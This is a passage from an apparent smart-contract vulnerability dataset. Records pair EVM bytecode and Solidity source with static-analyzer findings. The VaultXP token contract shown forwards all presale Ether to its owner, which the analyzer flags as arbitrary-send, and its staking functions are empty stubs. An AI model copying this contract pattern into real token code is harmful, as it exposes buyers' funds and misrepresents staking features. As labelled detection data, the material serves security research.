fffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ee35764174876e8006402540be400019350610f20565b610ef4670de0b6b3a7640000611852565b9250610f0e610f0784600a60ff16611738565b6064611773565b9150610f1a8383611834565b90508093505b50505090565b600080339050610f3581610e75565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd15780601f10610fa657610100808354040283529160200191610fd1565b820191906000526020600020905b815481529060010190602001808311610fb457829003601f168201915b505050505081565b600080600080600080610fea610f26565b111515610ff657600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561104757600080fd5b60006110536001610dea565b111561106257611061610bd8565b5b61107a61107387600160ff16611738565b6064611773565b9250611086868461178e565b915061109183611852565b905061109f6006548461178e565b6006819055506110ee600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761178e565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117a600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611834565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061128360075460065468010000000000000000840281151561127d57fe5b04611834565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b600080600080600080600061130f610f26565b11151561131b57600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136c57600080fd5b86945061137885611852565b935061139261138b85601460ff16611738565b6064611773565b925061139e848461178e565b91506113ac6006548661178e565b6006819055506113fb600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548661178e565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114d5576114ce6007546006546801000000000000000086028115156114c857fe5b04611834565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442611518610ebe565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008111156115a6576115a5816112fc565b5b6115ae610bd8565b5050565b60006115be3483610606565b50919050565b6000806000806115d46001610dea565b1115156115e057600080fd5b6115ea6000610dea565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116db836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080600084141561174d576000915061176c565b828402905082848281151561175e57fe5b0414151561176857fe5b8091505b5092915050565b600080828481151561178157fe5b0490508091505092915050565b600082821115151561179c57fe5b818303905092915050565b6000806000670de0b6b3a76400006402540be40002915060065464174876e80061181d6118176006548664174876e800600202020260026006540a600264174876e8000a02670de0b6b3a76400008a02670de0b6b3a764000064174876e80002600202026002890a0101016118fd565b8561178e565b81151561182657fe5b040390508092505050919050565b600080828401905083811015151561184857fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118e6670de0b6b3a7640000850364174876e800670de0b6b3a7640000868115156118a457fe5b0464174876e800026402540be4000103026002670de0b6b3a7640000876002890a038115156118cf57fe5b0464174876e800028115156118e057fe5b0461178e565b8115156118ef57fe5b049050809350505050919050565b60008060026001840181151561190f57fe5b0490508291505b8181101561194257809150600281828581151561192f57fe5b040181151561193a57fe5b049050611916565b509190505600a165627a7a7230582041b8153021f9da365e5d73be458146d6c3445acfd84952d790b8e71afe0096780029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,737
0x690c7bd8c042b2e04312b480be7738e15792bd14
/** *Submitted for verification at Etherscan.io on 2020-11-14 */ pragma solidity ^0.7.2; /** * @dev Provides data about the current execution setting, including the * sender of the exchange and its information. While these are commonly accessible * through msg.sender and msg.data, they ought not be gotten to in such a direct * way, since when managing GSN meta-exchanges the record sending and * paying for execution may not be the real sender (to the extent an application * is concerned). * * This agreement is just needed for middle, library-like agreements. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * @dev Contract module which gives a fundamental access control system, where * there is a record (a proprietor) that can be conceded selective admittance to * explicit capacities. * * By default, the proprietor record will be the one that conveys the agreement. This * can later be changed with {transferOwnership}. * * This module is utilized through legacy. It will make accessible the modifier * 'onlyOwner', which can be applied to your capacities to confine their utilization to * the proprietor. */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed _to); constructor(address _owner) public { owner = _owner; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract ERC20 is IERC20, Owned { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 internal _totalSupply; function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public override returns (bool) { _approve(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } } abstract contract StakeVXP { /** * @dev stakes amount of tokens to the liquidity provider pool */ function _stake(address to, uint256 amount) internal{} /** * @dev redeems the amount of the current user */ function _redeem(address to, uint256 amount) internal{} /** * @dev claims rewards transfer to his account. */ function _claimRewards(address to, uint256 amount) internal{} } /** * @dev VAULTXP Contract is completely unique and adheres to the traditional * allowance mechanism. The contract is made by 2 devs ken and XP */ contract VaultXP is ERC20, StakeVXP { using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public burnedToken; uint256 public presaleToken; uint256 public presaleTarget; uint256 public presalePool; bool public presaleEvent; address private stakeContractAddress; constructor() public Owned(msg.sender) { name = "VAULTXP.FINANCE"; symbol = "VAULTXP"; decimals = 18; _totalSupply = 15000000000000000000000; // 15,000 supply _balances[msg.sender] = _totalSupply; burnedToken = 0; presaleToken = 14500; presaleTarget = 650000000000000000000; // 650 emit Transfer(address(0), msg.sender, _totalSupply); } function burn(uint256 _amount) external returns (bool) { super._burn(msg.sender, _amount); burnedToken = burnedToken.add(_amount); return true; } function transfer(address _recipient, uint256 _amount) public override returns (bool) { if(totalSupply() <= 3000) { super._transfer(msg.sender, _recipient, _amount); return true; } uint _burnAmount = _amount.mul(100).div(10000); // 1 percent burning _burn(msg.sender, _burnAmount); burnedToken = burnedToken.add(_burnAmount); uint _transferAmount = _amount.sub(_burnAmount); super._transfer(msg.sender, _recipient, _transferAmount); return true; } function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) { super._transferFrom(_sender, _recipient, _amount); return true; } function buyPresaleToken() public payable{ require(presaleEvent); transferToPresalePool(); uint256 value = msg.value; require(value > 0); uint _tokenEquivalent = value.mul(22); _balances[owner] = _balances[owner].sub(_tokenEquivalent); _balances[msg.sender] = _balances[msg.sender].add(_tokenEquivalent); // update Presale Pool Value presalePool = presalePool.add(value); } function transferToPresalePool() private{ address payable _to = address(uint160(owner)); _to.transfer(getBalance()); } function getBalance() private view returns(uint){ return address(this).balance; } function getContractBalance() public view onlyOwner returns(uint){ return getBalance(); } function startPresaleEvent() public onlyOwner{ presaleEvent = true; } function endPresaleEvent() public onlyOwner{ presaleEvent = false; } function getTokenBalance() public view returns(uint){ return _balances[msg.sender]; } function setStakeContractAddress(address _stakeContractAddress) public onlyOwner{ stakeContractAddress = _stakeContractAddress; } function getStakeContractAddress() public view onlyOwner returns(address){ return stakeContractAddress; } function stake(address _stakeToContract, address _to, uint256 _amount) public{ require(_stakeToContract == stakeContractAddress); _stake(_to, _amount); } function redeem(address _stakeToContract, address _to, uint256 _amount) public{ require(_stakeToContract == stakeContractAddress); _redeem(_to, _amount); } function _claimRewards(address _stakeToContract, address _to, uint256 _amount) public{ require(_stakeToContract == stakeContractAddress); _claimRewards(_to, _amount); } }
0x6080604052600436106101d85760003560e01c806342966c68116101025780639c0e1bd611610095578063bf6eac2f11610064578063bf6eac2f146109a8578063d4ee1d9014610a23578063dd62ed3e14610a64578063f2fde38b14610ae9576101d8565b80639c0e1bd6146108a5578063a457c2d7146108af578063a9059cbb14610920578063acf9a27e14610991576101d8565b806382b2e257116100d157806382b2e2571461077e578063848c0dfd146107a95780638da5cb5b146107d457806395d89b4114610815576101d8565b806342966c68146106865780636f9fb98a146106d757806370a082311461070257806379ba509714610767576101d8565b806319f61be71161017a5780633188b9e2116101495780633188b9e21461052e578063330c4ce0146105a957806337ff5bcc146105d45780633950935114610615576101d8565b806319f61be71461041757806323b872dd1461044457806324ffea1a146104d5578063313ce56714610500576101d8565b80630723fa42116101b65780630723fa42146102d5578063095ea7b3146103005780630e6dfcd51461037157806318160ddd146103ec576101d8565b806301b6965a146101dd578063053273d91461022e57806306fdde0314610245575b600080fd5b3480156101e957600080fd5b5061022c6004803603602081101561020057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3a565b005b34801561023a57600080fd5b50610243610bd6565b005b34801561025157600080fd5b5061025a610c4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029a57808201518184015260208101905061027f565b50505050905090810190601f1680156102c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e157600080fd5b506102ea610ce9565b6040518082815260200191505060405180910390f35b34801561030c57600080fd5b506103596004803603604081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cef565b60405180821515815260200191505060405180910390f35b34801561037d57600080fd5b506103ea6004803603606081101561039457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d06565b005b3480156103f857600080fd5b50610401610d6f565b6040518082815260200191505060405180910390f35b34801561042357600080fd5b5061042c610d79565b60405180821515815260200191505060405180910390f35b34801561045057600080fd5b506104bd6004803603606081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d8c565b60405180821515815260200191505060405180910390f35b3480156104e157600080fd5b506104ea610da5565b6040518082815260200191505060405180910390f35b34801561050c57600080fd5b50610515610dab565b604051808260ff16815260200191505060405180910390f35b34801561053a57600080fd5b506105a76004803603606081101561055157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dbe565b005b3480156105b557600080fd5b506105be610e27565b6040518082815260200191505060405180910390f35b3480156105e057600080fd5b506105e9610e2d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561062157600080fd5b5061066e6004803603604081101561063857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb0565b60405180821515815260200191505060405180910390f35b34801561069257600080fd5b506106bf600480360360208110156106a957600080fd5b8101908080359060200190929190505050610f55565b60405180821515815260200191505060405180910390f35b3480156106e357600080fd5b506106ec610f85565b6040518082815260200191505060405180910390f35b34801561070e57600080fd5b506107516004803603602081101561072557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fed565b6040518082815260200191505060405180910390f35b34801561077357600080fd5b5061077c611036565b005b34801561078a57600080fd5b506107936111d2565b6040518082815260200191505060405180910390f35b3480156107b557600080fd5b506107be611219565b6040518082815260200191505060405180910390f35b3480156107e057600080fd5b506107e961121f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082157600080fd5b5061082a611243565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561086a57808201518184015260208101905061084f565b50505050905090810190601f1680156108975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108ad6112e1565b005b3480156108bb57600080fd5b50610908600480360360408110156108d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114b7565b60405180821515815260200191505060405180910390f35b34801561092c57600080fd5b506109796004803603604081101561094357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061155c565b60405180821515815260200191505060405180910390f35b34801561099d57600080fd5b506109a6611602565b005b3480156109b457600080fd5b50610a21600480360360608110156109cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611677565b005b348015610a2f57600080fd5b50610a386116e0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a7057600080fd5b50610ad360048036036040811015610a8757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611706565b6040518082815260200191505060405180910390f35b348015610af557600080fd5b50610b3860048036036020811015610b0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061178d565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9257600080fd5b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c2e57600080fd5b6000600c60006101000a81548160ff021916908315150217905550565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce15780601f10610cb657610100808354040283529160200191610ce1565b820191906000526020600020905b815481529060010190602001808311610cc457829003601f168201915b505050505081565b600b5481565b6000610cfc338484611829565b6001905092915050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610d6057600080fd5b610d6a8282611a20565b505050565b6000600454905090565b600c60009054906101000a900460ff1681565b6000610d99848484611a24565b50600190509392505050565b60095481565b600760009054906101000a900460ff1681565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b610e228282611ad5565b505050565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8857600080fd5b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610f4b3384610f4685600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b611829565b6001905092915050565b6000610f613383611b61565b610f7682600854611ad990919063ffffffff16565b60088190555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fe057600080fd5b610fe8611d01565b905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461109057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112d95780601f106112ae576101008083540402835291602001916112d9565b820191906000526020600020905b8154815290600101906020018083116112bc57829003601f168201915b505050505081565b600c60009054906101000a900460ff166112fa57600080fd5b611302611d09565b60003490506000811161131457600080fd5b600061132a601683611d8090919063ffffffff16565b905061139f81600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0690919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145581600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ad82600b54611ad990919063ffffffff16565b600b819055505050565b6000611552338461154d85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0690919063ffffffff16565b611829565b6001905092915050565b6000610bb8611569610d6f565b1161158257611579338484611e8f565b600190506115fc565b60006115ac61271061159e606486611d8090919063ffffffff16565b61212f90919063ffffffff16565b90506115b83382611b61565b6115cd81600854611ad990919063ffffffff16565b60088190555060006115e88285611e0690919063ffffffff16565b90506115f5338683611e8f565b6001925050505b92915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165a57600080fd5b6001600c60006101000a81548160ff021916908315150217905550565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116d157600080fd5b6116db82826121be565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117e557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061226f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611935576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806121e66022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b5050565b6000611a31848484611e8f565b611aca8433611ac585600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0690919063ffffffff16565b611829565b600190509392505050565b5050565b600080828401905083811015611b57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122296021913960400191505060405180910390fd5b611bfc81600454611e0690919063ffffffff16565b600481905550611c5481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600047905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc611d51611d01565b9081150290604051600060405180830381858888f19350505050158015611d7c573d6000803e3d6000fd5b5050565b600080831415611d935760009050611e00565b6000828402905082848281611da457fe5b0414611dfb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806122086021913960400191505060405180910390fd5b809150505b92915050565b600082821115611e7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061224a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806121c36023913960400191505060405180910390fd5b611fed81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061208281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008082116121a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b60008284816121b157fe5b0490508091505092915050565b505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220845be716eec6d1f2c3eca57d9a20664aabe9942609a57b19976b1e00a77123fe64736f6c63430007020033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,738
0xb7c9fdf51d709e849219565d196166352c636a65
